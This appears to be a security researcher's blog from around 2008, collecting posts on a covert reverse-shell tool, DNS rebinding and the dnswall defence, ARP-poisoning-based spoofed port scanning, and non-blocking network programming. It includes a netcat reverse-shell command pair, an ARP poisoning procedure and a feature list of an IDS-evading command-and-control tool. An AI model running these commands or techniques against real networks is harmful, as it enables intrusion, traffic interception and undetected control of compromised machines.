Securebits Blog

On the 30th of October, 2008, I have presented my latest network security research titled “Next Generation Reverse Shell” at Hack-In-The-Box Security Conference in Kuala Lumpur, Malaysia.

The presentation and the whitepaper can be downloaded from the following links:

1. Presentation (pptx version)
2. Presentation (ppt version)
3. Whitepaper (pdf)
4. Giant-Reverse (GR) Tool - Beta Version 0.9.5

DNSWall is a proof-of-concept (PoC) tool developed by some security researchers from Stanford University as a protection mechanism against DNS rebinding attacks. In their research paper “Protecting Browsers from DNS Rebinding Attacks”, Collin Jackson et al. discuss the DNS Rebinding vulnerabilities, attacks, and defenses.

DNS rebinding attack exploits the web browser same-origin policy. The same-origin policy states that a web browser can run scripts (e.g. Javascript, Flash, etc) that communicate with ‘another’ web site as long as the original website and the second one share the same origin. The same-origin policy defines three conditions: (a) same protocol, (b) same port, and (c) same hostname. For example, the address "http://www.securebits.org" and the address "https://www.securebits.org" do not share the same origin, and thus, cannot script against each other. The web browser does not allow scripts from "http://www.securebits.org" to communicate freely with "https://www.securebits.org". On the other hand, the address "http://www.securebits.org:8080" and the address "http://www.securebits.org:8080/somefolder/" are said to have the same origin because they share the same protocol (http), the same port (8080) and the same hostname (www.securebits.org).

An attacker can exploit this policy by rebinding the hostname of a particular website to an IP address that is different than the original one. Usually, the attacker would build a website that is under his/her control. He/she also controls the DNS server that resolves the DNS queries related to that website. When the victim accesses the website for the first time, the DNS server gives out the correct IP address. However, later on, the attacker rebinds the hostname of the website with a false IP address - usually an IP address that the attacker does not have access to – so that any subsequent link to the website will be directed to that IP address. By doing this, the attacker can script against the IP address – he/she can port scan, bypass firewall, access systems, etc.

To illustrate this with an example, let’s say that the victim’s machine is behind a firewall and has the IP 10.10.10.5. In the same network, there is a printer with the IP 10.10.10.8. The printer can be accessed through a web interface and normally does not prompt for username/password since it is in a private network and is only accessible by trusted systems within the network. The attacker, who is outside in the Internet, would build a website "www.example.com", and also control a DNS server that resolves the hostname "www.example.com" to the IP 65.54.43.32. Through social engineering tricks, the attacker would trick the victim to visit the website "www.example.com". Initially, the browser will send a DNS query to resolve that name and eventually will get the IP 65.54.43.32. When the client visits the website, the contents of the website are downloaded. The attacker sets a script (Javascript or Flash) that initiates a connection to the “hostname” (www.example.com). By the time this script is executed by the browser, the browser needs to query the DNS again to resolve the hostname "www.example.com". At this time, the attacker’s DNS server will reply with the IP address 10.10.10.8, basically rebinding the hostname to a different IP. Now, the script will actually initiate the connection with the local printer and can re-configure it.

This type of DNS rebinding attack is called “Firewall Circumvention” and it is one of the typical attacks using DNS rebinding technique. The example above mentioned “a printer” as an example; however, any internal device, such as a DSL router, switch, server, etc, can be a target of DNS rebinding attack.

Dnswall is a program that runs on the corporate network DNS server. Its sole purpose is to prevent the resolving of public names to internal IP addresses. According to the authors:

“By blocking outbound traffic on port 53, a firewall administrator for an organization can force all internal machines, including HTTP proxies and VPN clients, to use a DNS server that is configured not to resolve external names to internal IP addresses. To implement this approach, we developed a 300 line C program, dnswall, that runs alongside BIND and enforces this policy.

[…] Many consumer firewalls, such as those produced by Linksys, already expose a caching DNS resolver and can be augmented with dnswall to block DNS responses that contain private IP addresses. The vendors of these devices have an incentive to patch their firewalls because these rebinding attacks can be used to reconfigure these routers to mount further attacks on their owners”

The Dnswall program runs as an intermediary proxy DNS server between the client and the real forwarder server. It intercepts the DNS queries sent by clients, forwards the query with little modification, receives and forwards the reply to the client only when the IP address in the answer payload is public. If the answer IP address is private/multicast, the Dnswall sends NXDOMAIN reply. Particularly, the program checks for IP addresses in the following ranges:

- Invalid IP address: an IP address that starts with 0; i.e. 0.x.x.x
- Node-Local IP address: 127.x.x.x
- Link-Local IP address: 169.254.x.x
- Site-Local IP address: 10.x.x.x, 172.x.x.x, 192.168.x.x
- Multicast IP address: 224.x.x.x

The program can run with the following arguments:

     ./dnswall -b (bind ip) -B (bind port) 
       -f (forwarder ip) -F (forwarder port)

Where ‘bind ip’ is the listening IP address, ‘bind port’ is the listening port number, ‘forwarder ip’ is the IP of the real DNS server, and ‘forwarder port’ is the port on which the forwarder is listening.

Finally, an important point to mention is that the Dnswall program forwards DNS queries after modifying the TXID of the original query. This is done to map the replies with their original queries. However, the new TXID used is sequentially incremented, starting from 0 to 65536. This opens the door to the opportunity of DNS cache poisoning. An attacker would predict the TXID and inject a false response to poison the DNS cache of the client machine. The code snippet that handles this is:

  // Replace the id with our own query identifier
  *((short *)&msg[0]) = htons(current_query);
  current_query++;
  if (current_query >= 65536)
   current_query = 0;

Administrators who seriously want to deploy Dnswall needs to do a little modification to this code to prevent the poisoning attacks. Mainly, a randomization algorithm should be used to select new TXID, or at least preserve the same original TXID.

IP spoofing is one of the techniques used by attackers to perform different attacks. It could be used while flooding a network, SYN-attacking a server, generating IDS false positives, etc. The rule when spoofing the source IP address is that replies do not matter to the attacker since replies will be sent to the spoofed IP and will not reach the attacker. Implementing an attack that requires an interactive communication between the attacker’s machine and the victim cannot take place with a spoofed IP address.

Port scanning is the technique to discover open ports on a remote system. To discover an open TCP port, the attacker needs to send a TCP SYN packet to a specific port and receive one packet back. If the received packet is a SYN_ACK packet, the port is open. If the received packet is a RST packet, the port is closed. If no reply is received, the port is filtered by a firewall or any other filtering engine. The reply packet, whether it is a SYN_ACK or RST, must reach the attacker’s machine so that it will be examined. This requires that the received packet is destined to the IP address of the attacker’s machine (or at least an IP address that is under control of the attacker) which in turn requires that the scanning packet sent by the attacker contains the actual source IP address of the attacker. So, the basic operation of port scanning cannot be done with a spoofed IP address.

Nmap, the infamous port scanner, can send spoofed scan packets. However, it is not meant as a reliable scan. Meaning, the attacker will not get reliable results of his/her scan. Such spoofed scan can be used to elude the IDS/IPS and generate huge amount of signatures. Also, it could be used as a way to divert the attention of the target corporate organization to another competitor organization; the spoofed scan will appear as if it is coming from the competitor organization.

However, the question is: can we have spoofed port scanning that is reliable? The answer is ‘Yes’ but with the following two constraints:
[1] The port scan should be conducted internally within a LAN; for example, the port scan can be part of an internal security audit or penetration test. The technique used to achieve this reliable spoofed port scan cannot be implemented over a WAN.
[2] The spoofed IP addresses used during the port scan should fall within the range of the local subnet. For example, if the attacker’s machine is in class C (255.255.255.0), he/she can use any of the 253 valid IP addresses within the subnet range; if subnet is a class B (255.255.0.0), the pool of valid spoofed IP addresses is 65533.

The technique to achieve this reliable spoofed port scan is based on integrating ARP poisoning with port scanning. ARP poisoning refers to the ability of the attacker to insert a fake entry in the ARP cache of the victim machine. This fake entry links an IP address, which is within the same subnet range of the victim’s machine, with a false MAC address. The entry will cause any traffic destined to that particular IP address to be destined, at layer 2, to the machine with the MAC address associated with the IP address. An attacker will typically insert fake entries that link different IP addresses to the MAC address of his/her machine; thus, all local traffic will be delivered to his/her machine. A typical use of ARP poisoning is to achieve layer 2 traffic interception between two machines (either of them could be even a router or gateway.)

The process of doing a reliable spoofed port scanning works by poisoning the ARP cache of the remote machine with a false entry that links the spoofed source IP address used in the scanning with the MAC address of the attacker’s machine. For every spoofed source IP used, the attacker needs to inject a fake ARP entry for it. It is also important to note that there is a difference between scanning a system that is located within the local subnet and a system that is in a different subnet. When scanning a system located locally, the ARP cache of this machine needs to be poisoned; however, when scanning a system located outside the local subnet, the ARP cache of the router/gateway is what needs to be poisoned. This is because the ARP protocol functions at layer 2 which cannot be routed externally to other networks.

To effectively poison an ARP cache of a remote machine, two ARP packets at maximum are needed or one ICMP packet and one ARP packet. In the case of two ARP packets, the first one is an ARP request while the second is an ARP reply. Both packets contain the following arguments: the destination MAC address is the victim MAC address, the source MAC address is the attacker’s MAC address, the destination IP address is the victim’s IP address, and the source IP address is the spoofed IP address which the attacker wants to inject. For example, let’s assume the following scenario:
a. The victim’s IP address is 10.10.10.10
b. The victim’s MAC address is aa:aa:aa:bb:bb:bb
c. The attacker’s IP address is 10.10.10.3
d. The attacker’s MAC address is bb:bb:bb:cc:cc:cc
e. The attacker wants to intercept traffic going from the victim to 10.10.10.50

The attacker, then, sends two ARP packets (the first is ‘Query’ and the second is ‘Reply’) to the victim with the following arguments:
a. Source IP is 10.10.10.50
b. Destination IP is 10.10.10.10
c. Source MAC is bb:bb:bb:cc:cc:cc
d. Destination MAC is aa:aa:aa:bb:bb:bb

These two packets will inject the following spoofed entry in the ARP cache of the remote machine:
10.10.10.50 is at bb:bb:bb:cc:cc:cc

This will cause any packet sent by the victim machine (10.10.10.10) to 10.10.10.50 to be switched at layer 2 to the attacker’s machine.

By integrating the technique of “ARP Poisoning” into “Port Scanning”, we can have a reliable spoofed source IP port scanning. What is needed is to poison the remote machine (or the gateway) with a fake entry that links every used spoofed source IP with the attacker’s MAC address. Such will cause any scan reply to be delivered to the scanning machine. The algorithm for the whole process of spoofed scanning would be as follows:
1. Check whether the scan target is within the local subnet or outside.
2. If it is within the local subnet, the “poisoning target” is the same as the “scan target”. If the “scan target” is outside the local subnet, then the “poisoning target” is the “gateway”
3. Generate a random spoofed source IP that falls within the local subnet.
4. ARP-poison the “poisoning target” with a fake entry that directs all traffic destined to the spoofed IP to the attacker’s machine.
5. Send the scan packet to the “scan target”
6. Wait for a reply with the same MAC address as the attacker’s MAC address.

Generating different spoofed IP with every scanning packet (one packet for one port) would make the scan appear as if it is distributed between multiple (fake) systems. H.K. has generated a live image with Etherapp tool representing the distribution of the spoofed port scanning:

One of the most important stages after a successful exploitation of remote system is to maintain a persistent access to that compromised machine. A persistent access refers to the ability of the attacker to access the compromised system any time after the exploitation. In the past, installing a backdoor that listens on a particular port and accepts connections on that port was the preferred method to keep a persistent access. The attacker would simply have a remote shell to the system and have a full control over it. This technique has become less feasible with the advent of security measures; and with the wide deployment of firewalls that even the smallest corporate network has some sort of network access-control; inbound (incoming) connections are restricted by network administrators. Binding the remote system to a local port after a successful exploitation won’t give the attacker a persistent access anymore.

The trend in post-exploitation stage moved from “remote shell” to “reverse shell” where instead of the remote system listening on a particular port and waiting for an incoming connection, the remote system initiate a connection to the attacker machine, however, such connection is used by the attacker to send “shell” commands to the remote system to be executed. It is called “reverse” because the shell control runs in the opposite direction of the established connection. The connection is established from the remote compromised system to the attacker, while the control traffic (shell) is running from the attacker’s machine to the target machine. For “reverse-shell” to work, it is enough to have an outgoing open port on the firewall so that the compromised system initiates the outbound connection through this port.

There are various techniques to have a reverse-shell. An attacker who is exploiting a remote vulnerability that requires sending shellcode may construct a shellcode that establishes a connection back to his/her machine and pipes a shell to that stream. Also, the attacker can use an external program/script that provides this facility. SSH and Netcat are good candidate to do this job. Having a reverse-shell access using netcat can be done as follows: a netcat instance would run on the attacker’s machine; and another instance runs on the compromised machine. If the attacker wants to have the reverse-shell on port 2233, he runs netcat on his/her machine as follows:

     $netcat –v –l –p 2233

And on the compromised machine, he/she runs:

     $netcat –e /bin/sh  2233

However, there are many drawbacks to these current techniques. First, network security solutions, other than firewalls, are deployed by corporate networks. The main two are Application-level inspection engine and IPS/IDS. Application inspection engine monitors the traffic at the application level (e.g. FTP, HTTP, POP3, SMTP, NTP, etc) and filters any non-standard behavior. In other words, the inspection engine always makes sure that the application traffic is according to the standard RFC implementation. Otherwise, the connection is blocked. For example, an SMTP inspection engine ensures at least the following:

- The commands and responses are standard SMTP commands and responses.
- The SMTP transaction happens in the standard sequence.
- An SMTP command from the client must be acknowledged by the server before the client is able to send the next command.

The same applies to other protocol inspection engines, like HTTP, POP3, FTP, etc.

An IDS/IPS device extends the monitoring capability to an actual checking of standard traffic and making sure that variable fields do not contain malicious contents. For example, the username field in a POP3 protocol may contain any data. If an attacker embeds a username field to exploit remote buffer overflow vulnerability, the inspection engine will not detect this. However, the IDS/IPS may detect if it knows the signature of the shellcode.

Given these advancements in network security solutions, normal reverse-shell techniques become obsolete. A reverse-shell implemented with netcat or SSH does not comply with a pre-defined standard protocol implementation, and thus, it is easily detectable. Another drawback of the existing implementations is that they do not provide a reliable and maintainable access. If the connection is halted for some reasons, the attacker needs to re-establish it again manually.

The idea of “Next Generation Reverse Shell” was born to provide a reliable, maintainable, and persistent access to compromised systems and to stand within the modern advancements of security measures. A platform, called “Giant-Reverse”, is also developed to provide the facility of Next Gen. Reverse Shell. The characteristics and features of this new and original implementation are as follows:

[1] Next Gen. Reverse Shell utilizes standard protocols to tunnel shell commands and execution results. Protocols like HTTP, SMTP, POP3, FTP, NTP, and ICMP can be used to carry, and transfer arbitrary data without violating the standard implementation of these protocols. By utilizing such protocols, the traffic would not only pass through a network firewall, but also appear as a legitimate traffic in the eyes of an inspection engine or IDS/IPS.

[2] Next Gen. Reverse Shell has the ability to automatically detect the open ports on the firewall. When the client agent runs, it tries to connect to the server machine (controlled by the attacker) on various ports until it finds a port that is open. For example, it tries to connect to port 21 (FTP) and if this port is closed, it tries port 80 (HTTP) and if it is closed, it tries port 110 (POP3) and so on. This feature means that the attacker does not worry about finding the suitable open port on the firewall and instruct the client to use it; rather, the client finds it automatically.

[3] Next Gen. Reverse Shell provides the ability to run simultaneously multiple Shells over single stream. After establishing the reverse connection on a particular port, the specialist (e.g. security professional, attacker, etc) can create more than one shell over this single TCP or UDP stream; all the Shells are running concurrently and the specialist can swap between them. This provides greater control over the compromised system. The user can run a password sniffer in one shell, a password brute-force tool in another and a vulnerability scanner in a third shell.

[4] Next Gen. Reverse Shell provides the ability to control multiple compromised systems at once. The listening server running on the attacker’s machine can accepts connections from different client agents. The specialist, then, would control these clients simultaneously. He/she would run a program on the first client, then swap to a second one and run another program. At any time, the server can show details about the connected clients with some statistical data.

[5] Next Gen. Reverse Shell gives the user the ability to change the tunneling protocol and port number at any time. If there is a connection from a client to the server on port 21 with the FTP protocol, the user can change it to port 110 with POP3 protocol. After instructing the client to change protocol, the client halts the current connection and establishes a new one on the specified port.

[6] Next Gen. Reverse Shell has the ability to suspend the client agent for specific amount of time. When a client is suspended, the status of the running Shells remain the same; and when the period of suspension ends, the client re-establishes the connection again while preserving the Shell. For example, if the user is running two simultaneous Shells and would like to stop working and resume the work the next day, he/she would instruct the client to suspend for one day. During the suspension (or sleep) period, there is no traffic generated between the client and the server.

[7] Next Gen. Reverse Shell automatically re-establishes the connection in case of a disconnection. Just like the feature where the client automatically finds the open port, the client can automatically initiate new connection in case the previous one is lost. Let’s take this scenario; if the corporate network administrator reboots the firewall, all connections are lost. The attacker would then lose the current established reverse-shell connection. However, once the client detects such sudden disconnection, it re-establishes the connection again.

[8] Next Gen. Reverse Shell provides the ability to conceal the transferred shell commands or execution results by either encoding or encrypting these messages. This is different than SSH mechanism which encrypts the whole application layer. The encryption and encoding mechanism of Next Gen. Reverse Shell is to encrypt or encode only the contents tunneled within the normal standard protocols. For examples, if the user is utilizing SMTP protocol as a tunnel to transfer commands/results, the body of the messages are encrypted or encoded while the standard SMTP communication is neither encrypted nor encoded. Let’s say the attacker runs a command like “echo /etc/passwd”, the result of this command is transfer in plain-text. An administrator monitoring the traffic with his/her naked eye would see the content of /etc/passwd file being transferred. However, with encryption, or at least encoding, such traffic may pass unnoticed by the administrator.

[9] Next Gen. Reverse Shell distinguishes between different sets of commands. There is internal command set and shell command set. Internal commands are used by the user to control the behavior of the Next Gen. Reverse Shell application. Internal commands enable the user to set or get specific variable data. For example, the internal command “create_shell” instantiate a new shell on the remote machine, and a command like “set_protocol” sets the tunneling protocol. Any command other than internal commands is considered a shell command and would be executed on the remote machine; the results of such execution are returned to the user.

The speed of Internet communications is of an equal importance to both Internet engineers and the end users. Internet users, in general, prefer to have a fast enough communication to perform their Internet transactions. A fast Internet communication provides comfort and easiness to the users. The speed of the Internet depends on many factors; however, they can be classified into two categories:

a. Hardware factors
b. Software factors

Hardware factors are like the physical link and its transfer rate, the CPU processing speed of Internet devices (e.g. Routers, Switches, Servers, etc) as well as the CPU processing speed of the end user’s PC. The software factors involve the algorithms which Internet applications utilize to perform Internet operations. In other words, there are different network programming techniques that could be used to optimize the speed of network communications. The software factors cannot influence the communication speed beyond the hardware factors. It is always the burden of the network application developer to use the best techniques to make the best out of the available hardware devices/links.

Conventionally, the time needed for a packet to travel from source A to destination B and come back from B to A again is called RTT, Round-Trip Time. And the TCP protocol contains algorithms (using the three-way handshake sent/received packets) to compute the approximate RTT between the client and the server, so that the client knows how long to wait for an acknowledgment. In a sequential communication, the client sends the next data after it receives the acknowledgment from the previous data. We will take DNS query/response as a case study to illustrate the points here. Let’s say a client wants to resolve three hostnames: server-A, server-B, and server-C. An application that performs sequential transactions will send a query for server-A, wait for the response, and once it receives the response, it sends another query for server-B; and once again when it receives the response for server-B, it sends the query for server-C and finally receives its response. If, for instance, the time from sending the query until receiving its response is 180 Milliseconds, the total time to resolve the three hostnames will be 540 Milliseconds.

If we divide the RTT into six time periods, we can draw the following diagram that corresponds to every query-response pair:

Time 0: 
    REQUEST1__________________->
   <-__________________________
Time 1: 
   _________REQUEST1_________->
   <-__________________________
Time 2: 
   __________________REQUEST1->
   <-__________________________
Time 3: 
   ___________________________->
   <-_________________REPLY___1
Time 4: 
   ___________________________->
   <-________REPLY___1_________
Time 5: 
   ___________________________->
   <-REPLY__1__________________

However, by utilizing the link, we can minimize the total time to resolve three hostnames. This happens by sending other queries before receiving the responses that correspond to the previous queries. The client would first send query-1 followed directly by query-2 and query-3. The server will process the queries and send the replies in the same rate. This can be demonstrated by the following diagram:

Time 0:
   REQUEST1__________________->
   <-__________________________
Time 1:
   REQUEST2 REQUEST1_________->
   <-__________________________
Time 2:
   REQUEST3 REQUEST2 REQUEST1->
   <-__________________________
Time 3:
   _________REQUEST3 REQUEST2->
   <-_________________REPLY___1
Time 4:
   __________________REQUEST3->
   <-________REPLY___1 REPLY___2
Time 5: 
   ___________________________->
   <-REPLY__1 REPLY___2 REPLY___3
Time 6: 
   ___________________________->
   <- REPLY___2 REPLY___3_______
Time 7: 
   ___________________________->
   <-REPLY__3__________________

In this case, the total amount of time to resolve three hostnames is reduced to 220 Milliseconds. But the question now is: how does a developer optimize the speed of network communication and make his/her application performs transactions faster? There are different network programming techniques to perform such act. The main four ones are: a. I/O Multiplexing, b. Non-Blocking I/O, c. Multi-Processing, and d. Multi-Threading. But before discussing those techniques, one has to understand the reason behind the normal sequential communication.

I/O operations are be default blocking, which means, when reading data from a socket or standard input or when writing data to a socket or standard output, the I/O operation blocks the continuity of the process until the I/O operation is done. As in the previous DNS example, the client sends the query using the send() function, then, it issues the recv() function to receive the reply. The recv() function will block the process until an actual data packet is received. The time during which the process is blocked becomes useless and the application cannot perform any other operation during this time. The following techniques can be used, individually or in combination, to solve this problem:

[1] I/O Multiplexing
I/O Multiplexing refers to the ability to multiplex multiple input/output streams and then select the stream that is ready to be read or write. When any of the streams is ready, it is returned to the process to perform the needed operation. Visiting our DNS example, the developer can multiplex two input streams: a socket stream to read the responses from the server, and a standard input stream to read the hostnames. Whenever the standard input is ready, the program reads the hostname and sends the query. At the same, whenever the socket input is ready, the program reads the response and processes it. In this case, the hostnames can still be read from the standard input and the queries are sent even though the replies from the previous queries have not been received yet. I/O Multiplexing can be implemented using the select() function call as follows:

While()
{
 FD_SET( , &rset);
 FD_SET( , &rset);
 maxfd = max( ,  ) + 1;
 select( maxfd, &rset, NULL, NULL, NULL );
 if( FD_ISSET( , &rset ) )
 {
  /* read hostnames, and send the queries */
 }
 If( FD_ISSET( , &rset ) )
 {
  /* read the response, process it, 
  and print the result */
 }
}

[2] Non-Blocking I/O
Non-Blocking I/O refers to changing the default behavior of input/output streams from blocking mode to non-blocking so that a read or write call will return immediately whether there is data to read/write or not. Not only that, Non-Blocking mode can also be set for initiating multiple connections [connect()]. For example, if a client application wants to initiate three connections (TCP three-way handshake) and these connections take 7, 9, and 14 milliseconds to complete, respectively, in a sequential operation, the total time needed to perform these connections is 35 milliseconds. However, by using Non-Blocking connect(), the application can initiate other connections before the first connection is established. If we set the program to initiate at least three connections simultaneously, the total time needed to establish the three previous connections is 14 seconds – almost 60% percent less than sequential connections. Setting the non-blocking mode on an I/O stream can be programmatically using fcntl() function as follows:

int flags = fcntl( , F_GETFL, 0);
fcntl( , F_SETFL, flags | O_NONBLOCK );

[3] Multi-Processing (forking)
Multi-Processing refers to the technique by which the main application creates sub-processes (called children) that perform tasks independently from each other and from the main process (called the parent). Instead of using I/O Multiplexing or Non-Blocking I/O, a developer can make the main process forks [fork()] multiple children and let each child perform specific operation. Visiting our DNS example, the application can create a child for every hostname to be resolved. Similarly in our multiple-connection example, the application can create a child for every connection to be established. The O.S. handles the concurrent execution of those sub-processes. Creating a child process is done using the POSIX fork() call. This method is the most widely used by Unix clients and servers.

[4] Multi-Threading
Multi-Threading is very similar to Multi-Processing except that threads are lighter than process. Forking a process is considered expensive and requires additional overhead. However, with threads, the cost is minimal and operations are performed faster. Threads are run concurrently by the O.S. The main application can create multiple threads where every thread performs individual task separately. A thread can be created using the POSIC pthrea_create() function call.

Although each technique of these has its advantages and disadvantages and although each one has its own context that best fits in, the Multi-Threading technique is considered the fastest and least expensive among all techniques.